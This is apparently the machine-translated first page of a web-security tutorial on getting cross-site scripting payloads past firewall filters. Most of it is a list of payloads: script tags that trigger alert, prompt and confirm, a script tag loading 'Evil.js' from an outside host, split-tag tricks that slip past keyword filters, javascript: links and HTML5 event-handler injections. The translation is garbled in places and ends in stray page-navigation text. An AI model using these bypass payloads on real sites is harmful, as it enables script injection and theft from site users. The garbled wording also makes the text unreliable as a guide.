XSS modern WAF rules detection and bypass technology (1)

Initial test 1, using harmless payload, similar to <b>,<i>,<u> observation response, to determine whether the application is HTML encoding, whether the label is filtered, whether filtering <> and so on, 2, if the filter closed tag, Try the payload (<b,<i,<marquee) without the closed label to observe the response; 3, try the following payload<script>alert (1); </script><script >prompt (1); </script><script>confirm (1); </script><script src= "http://rhainfosec.com/ Evil.js > To determine whether to trigger the filtering rule, try to use the case mixed character <script>alert (1); </script>1, if the case is not good,,<script> be filtered to try <scr <script>ipt>alert (1) </scr<script>ipt>;2, use <a> label test <a href= "http://www.google.com" >clickme</a><a filtered? is the href filtered? Other content filtered? If no filtering attempts to use the <a href= "Javascript:alert (1)" >Clickme</a> try to view filtering with the wrong event <a href= "Rhainfosec.com" Onclimbatree=alert (1) >CLICKHERE</A>HTML5 has 150 event-handling functions and can try other functions <body/onhashchange=alert (1) ><a Href=#>clickit 1 2 3 4 5 Next >> View full-text navigation page 1th: initial test page 2nd: Test Other Tags page 3rd: Contextual filtering 4th page: Browser bug 5th page: Bypassing the original: XSS modern WAF rule detection and Bypass technology (1) Back to network security home